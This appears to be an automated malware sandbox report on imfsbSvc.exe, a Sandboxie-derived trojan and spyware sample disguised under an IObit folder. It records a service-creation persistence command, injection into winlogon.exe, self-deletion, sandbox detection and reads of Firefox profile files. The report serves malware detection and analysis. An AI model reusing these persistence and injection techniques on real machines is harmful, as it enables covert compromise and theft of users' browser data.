Source: imfsbSvc.exe, 00000000.00000003.1813330361.000002413DEB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameimfsbDll.dll vs imfsbSvc.exe
Source: imfsbSvc.exe, 00000000.00000002.1820532290.000000005CD4E000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameimfsbDll.dll vs imfsbSvc.exe
Source: imfsbSvc.exe, 00000005.00000002.1823842510.000000005CCAE000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameimfsbDll.dll vs imfsbSvc.exe

Source: imfsbDll.dll.0.dr	Binary string: sppc.dllSPPCTransportEndpoint-00001B18FBAB6-56F8-4702-84E0-41053293A869_vsnwprintfntdll_vsnprintf\Device\SandboxieDriverApi%S%SNotifyServiceStatusChangeANotifyServiceStatusChangeANotifyServiceStatusChangeWNotifyServiceStatusChangeWChangeServiceConfigAChangeServiceConfigAChangeServiceConfigWChangeServiceConfigWChangeServiceConfig2AChangeServiceConfig2AChangeServiceConfig2WChangeServiceConfig2WCloseServiceHandleCloseServiceHandleControlServiceControlServiceCreateServiceACreateServiceACreateServiceWCreateServiceWDeleteServiceDeleteServiceOpenSCManagerAOpenSCManagerAOpenSCManagerWOpenSCManagerWOpenServiceAOpenServiceAOpenServiceWOpenServiceWQueryServiceConfigAQueryServiceConfigAQueryServiceConfigWQueryServiceConfigWQueryServiceConfig2AQueryServiceConfig2AQueryServiceConfig2WQueryServiceConfig2WQueryServiceObjectSecurityQueryServiceObjectSecurityQueryServiceStatusQueryServiceStatusQueryServiceStatusExQueryServiceStatusExRegisterServiceCtrlHandlerARegisterServiceCtrlHandlerARegisterServiceCtrlHandlerWRegisterServiceCtrlHandlerWRegisterServiceCtrlHandlerExARegisterServiceCtrlHandlerExARegisterServiceCtrlHandlerExWRegisterServiceCtrlHandlerExWSetServiceObjectSecuritySetServiceObjectSecuritySetServiceStatusSetServiceStatusStartServiceAStartServiceAStartServiceWStartServiceWStartServiceCtrlDispatcherAStartServiceCtrlDispatcherAStartServiceCtrlDispatcherWStartServiceCtrlDispatcherWcryptsvc
Source: imfsbSvc.exe.0.dr	Binary string: DropAdminRightsNtAlpcConnectPortNtAlpcSendWaitReceivePortlsarpcsrvsvcwkssvcsamrnetlogon\device\mup\\PIPE\\device\namedpipe\ntsvcsplugplay\RPC Control\%s_NetProxy:Use=%c:Use=NtReplyWaitReceivePort beforeNtReplyWaitReceivePort afterGetProcessIdOfThreadProcessServer::Handler/msg->msgid: %dProcessServer::RunSandboxedHandlerProcessServer::RunSandboxedHandler/ cmd: %sdir: %senv: %sProcessServer::RunSandboxedHandler/CallerPid: %dProcessServer::RunSandboxedHandler/OpenProcess trueCallerInSandbox = trueCallerInSandbox = falsePrimaryTokenHandleCallerPid: %dRunSandboxedStartProcess sucRunSandboxedDupAndCloseHandles sucRunSandboxedDupAndCloseHandles failRunSandboxedStartProcess fail err: %d!PrimaryTokenHandleOpenProcess fail, err: %dSYSTEMTHREADProcessServer::RunSandboxedStartProcesscrflags2 != (crflags)COMSRVcmd is COMSRV*CallerProcessId: %dRunSandboxedComServer fail, !cmdCreateProcessAsUser cmd: %sCreateProcessAsUser LastError: %dSetThreadTokenSetThreadToken !ok LastError: %dok && StartProgramInSandboxSbieApi_CallTwo rc != 0 LastError: %d! ok TerminateProcess 1020!StartProgramInSandbox 1021!ok 1022\imfsbSvc.exe" Sandboxie_ComProxy_ComServer:pstorec.dllPStoreCreateInstanceGlobalSettingsUserSettings_UserSettings_PortableUserSettings_%08XMicrosoft Base Cryptographic Provider v1.0[%d / %08X]EditAdminOnlyEditPassword]
Source: imfsbSvc.exe.0.dr	Binary string: F.urlURLInternetShortcut ""00000000_SBIE_COMSRV_EXE00000000_SBIE_COMSRV_CMDiexplore.exewmplayer.exewinamp.exekmplayer.exe/Enqueue%S [HR=%08X/%d]"%s" "%s"O:SYG:SYD:(A;;GA;;;SY)%s-internal-%dDriverAssist::MsgWorkerThreadMsgWorkerThread msgid: %d[11 / %d]???[33 / %08X]\Software\Microsoft\Windows\CurrentVersion\ExplorerLogon User Name%S [%d / %d][%08X]\Registry\Machine\System\CurrentControlSet\Services\imfsbDrvSeLoadDriverPrivilege5.40%SLOWLEVEL.textzzzzLdrInitializeThunk\imfsbDll.dllLdrLoadDllLdrGetProcedureAddressNtRaiseHardErrorRtlFindActivationContextSectionStringkernel32.dll\32ERROR_NOT_READYInjectLow_OpenProcess failNtDeviceIoControlFileInjectLow_SendHandle failInjectLow_BuildTramp failInjectLow_CopySyscalls failInjectLow_CopyData failInjectLow_WriteJump fail!msg->bHostInjectGuiServer::GetInstance()->InitProcess failSbieApi_CallOne API_INJECT_COMPLETE sucerrlvl err: %d%S [%02X / %d]hProcesserrlvlInjectLow_OpenProcessOpenProcess suctime.dwLowDateTime == msg->create_time\Device\SandboxieDriverApi%S [%02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X]kernel32.dllntdll.dllLogFile%04d-%02d-%02d %02d:%02d:%02d %sMultiLog

Source: classification engine

Classification label: mal72.troj.spyw.evad.winEXE@13/5@23/1

Source: C:\ProgramData\IObit\imfsbSvc.exe	Mutant created: \BaseNamedObjects\Global\JLTDPITLGQ
Source: C:\Users\user\Desktop\imfsbSvc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\BMOZQLFGKL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6992:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6992:120:WilError_03
Source: C:\Windows\System32\winlogon.exe	Mutant created: \BaseNamedObjects\Global\HUnsdg6TYGD8JKSDUjayda09hasd

Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\explorer.exe
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\explorer.exe			Jump to behavior

Source: imfsbSvc.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\winlogon.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\imfsbSvc.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\imfsbSvc.exe

File read: C:\Users\user\Desktop\imfsbSvc.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\imfsbSvc.exe "C:\Users\user\Desktop\imfsbSvc.exe"
Source: C:\Users\user\Desktop\imfsbSvc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore
Source: unknown	Process created: C:\ProgramData\IObit\imfsbSvc.exe C:\ProgramData\IObit\imfsbSvc.exe
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\System32\winlogon.exe C:\Windows\system32\winlogon.exe
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\System32\winlogon.exe C:\Windows\system32\winlogon.exe
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\Desktop\imfsbSvc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\System32\winlogon.exe C:\Windows\system32\winlogon.exe	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\System32\winlogon.exe C:\Windows\system32\winlogon.exe	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: imfsbdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\imfsbSvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: imfsbdll.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: ncryptsslp.dll	Jump to behavior

PE / OLE file has a valid certificate

Source: imfsbSvc.exe

Static PE information: certificate valid

PE file has a high image base, often used for DLLs

Source: imfsbSvc.exe

Static PE information: Image base 0x140000000 > 0x60000000

PE file contains a mix of data directories often seen in goodware

Source: imfsbSvc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: imfsbSvc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: imfsbSvc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: imfsbSvc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: imfsbSvc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: imfsbSvc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: imfsbSvc.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: imfsbSvc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: C:\IMF9\sandboxie-master\Bin\x64\SbieRelease\imfsbDll.pdb source: imfsbSvc.exe, 00000000.00000003.1813330361.000002413DEE5000.00000004.00000020.00020000.00000000.sdmp, imfsbSvc.exe, 00000000.00000002.1820418997.000000005CD2E000.00000002.00000001.01000000.00000004.sdmp, imfsbSvc.exe, 00000005.00000002.1823628825.000000005CC8E000.00000002.00000001.01000000.00000007.sdmp, imfsbDll.dll.0.dr
Source:	Binary string: C:\IMF9\sandboxie-master\core\low\obj\amd64\LowLevel.pdb source: imfsbSvc.exe, imfsbSvc.exe.0.dr
Source:	Binary string: C:\IMF9\sandboxie-master\Bin\x64\SbieRelease\imfsbSvc.pdb source: imfsbSvc.exe, imfsbSvc.exe.0.dr
Source:	Binary string: C:\IMF9\sandboxie-master\Bin\x64\SbieRelease\imfsbDll.pdb7 source: imfsbSvc.exe, 00000000.00000003.1813330361.000002413DEE5000.00000004.00000020.00020000.00000000.sdmp, imfsbSvc.exe, 00000000.00000002.1820418997.000000005CD2E000.00000002.00000001.01000000.00000004.sdmp, imfsbSvc.exe, 00000005.00000002.1823628825.000000005CC8E000.00000002.00000001.01000000.00000007.sdmp, imfsbDll.dll.0.dr

PE file contains a valid data directory to section mapping

Source: imfsbSvc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: imfsbSvc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: imfsbSvc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: imfsbSvc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: imfsbSvc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Persistence and Installation Behavior

Source: C:\Users\user\Desktop\imfsbSvc.exe	File created: C:\ProgramData\IObit\DgApi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\imfsbSvc.exe	File created: C:\ProgramData\IObit\imfsbSvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\imfsbSvc.exe	File created: C:\ProgramData\IObit\imfsbDll.dll	Jump to dropped file

Source: C:\Users\user\Desktop\imfsbSvc.exe	File created: C:\ProgramData\IObit\DgApi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\imfsbSvc.exe	File created: C:\ProgramData\IObit\imfsbSvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\imfsbSvc.exe	File created: C:\ProgramData\IObit\imfsbDll.dll	Jump to dropped file

Boot Survival

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\System32\winlogon.exe

File deleted: c:\users\user\desktop\imfsbsvc.exe

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IObit\LIMFJNKUXL GWPYYDRG

Jump to behavior

Source: C:\Windows\System32\winlogon.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: imfsbSvc.exe, imfsbSvc.exe.0.dr

Binary or memory string: [12 / %D][13 / %D][14 / %D][15 / %D][16 / %D][17 / %D][18 / %D]SANDBOXIE.INIINILOCATION.TMP-%DSBIECTRL_ENABLEAUTOSTARTDEFAULT /OPEN /SYNCSBIECTRL.EXESTARTSERVICE%S [%S]/ENV:00000000_SBIE_%S="%S" /BOX:-%D DEVICE_MAPSERVICE_NAME/HIDE_WINDOW IMFSBSTART.EXE%S_UACPROXY:%08X_%08X_%08X_%08X_@%S*MSI*WINDOWS INSTALLERSHGETSTOCKICONINFOSANDBOXIE_UAC_WINDOWCLASSARIAL" RUNASSHELLEXECUTEEXWWINSTA.DLLWINSTATIONQUERYINFORMATIONWWINSTATIONISSESSIONREMOTEABLEWINSTATIONNAMEFROMLOGONIDWWINSTATIONGETCONNECTIONPROPERTYWINSTATIONFREEPROPERTYVALUEWINSTATIONDISCONNECT

Source: C:\Users\user\Desktop\imfsbSvc.exe

Dropped PE file which has not been started: C:\ProgramData\IObit\DgApi.dll

Jump to dropped file

Source: C:\ProgramData\IObit\imfsbSvc.exe TID: 1204	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep count: 240 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -160000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -110000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -130000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 1532	Thread sleep time: -140000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed

Source: C:\ProgramData\IObit\imfsbSvc.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 80000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 70000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 150000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 110000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 90000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 130000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Thread delayed: delay time: 140000	Jump to behavior

Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159758283.0000025DD7D45000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945339271.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: imfsbSvc.exe, 00000005.00000002.1824361152.0000029AD5BD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll6/
Source: winlogon.exe, 00000007.00000003.1937849781.0000025DD7CFE000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7CF9000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945579579.0000025DD7CFE000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995801657.0000025DD7CFF000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7CFE000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052774592.0000025DD7CFE000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000513636.0000025DD7CFE000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061244883.0000025DD7CFE000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995514850.0000025DD7CFE000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924657713.0000025DD7CFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB
Source: imfsbSvc.exe, 00000000.00000002.1821099486.000002413DEA0000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000006.00000002.1824187769.0000027A645C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\winlogon.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Source: C:\Users\user\Desktop\imfsbSvc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\ProgramData\IObit\imfsbSvc.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 27A644B0000 protect: page read and write			Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 25DD7CA0000 protect: page read and write			Jump to behavior

Writes to foreign memory regions

Source: C:\ProgramData\IObit\imfsbSvc.exe	Memory written: C:\Windows\System32\winlogon.exe base: 27A644B0000	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Memory written: C:\Windows\System32\winlogon.exe base: 7FF7AC5AD9A0	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Memory written: C:\Windows\System32\winlogon.exe base: 25DD7CA0000	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Memory written: C:\Windows\System32\winlogon.exe base: 7FF7AC5AD9A0	Jump to behavior

Source: C:\Users\user\Desktop\imfsbSvc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\System32\winlogon.exe C:\Windows\system32\winlogon.exe	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\System32\winlogon.exe C:\Windows\system32\winlogon.exe	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior

Source: imfsbSvc.exe, imfsbSvc.exe.0.dr	Binary or memory string: CicMarshalWndClassProgmanMSTaskSwWClassexcel.exepowerpnt.exe
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr	Binary or memory string: *GUIPROXY_%08X\imfsbSvc.exe" Sandboxie%s_GuiProxy_%08X,%dWinSta0\Default[%02X / %08X]_GuiProxy_Console,IsHungAppWindowuser32.dllNtUserQueryWindowwin32u.dll_GuiProxy%s_%s_Session_%d_Job_%08XS:(ML;;NW;;;LW)%s_WinSta_%d\%s_Desktop_%dSandboxie_ConsoleReadyEvent_%08XSandboxie_GuiProxy_Console,CloseClipboard %08XShell_TrayWndASIndicator/ignoreuipi$:

Language, Device and Operating System Detection

Source: C:\Users\user\Desktop\imfsbSvc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\IObit\imfsbSvc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\imfsbSvc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\prefs.js			Jump to behavior
Source: C:\Windows\System32\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
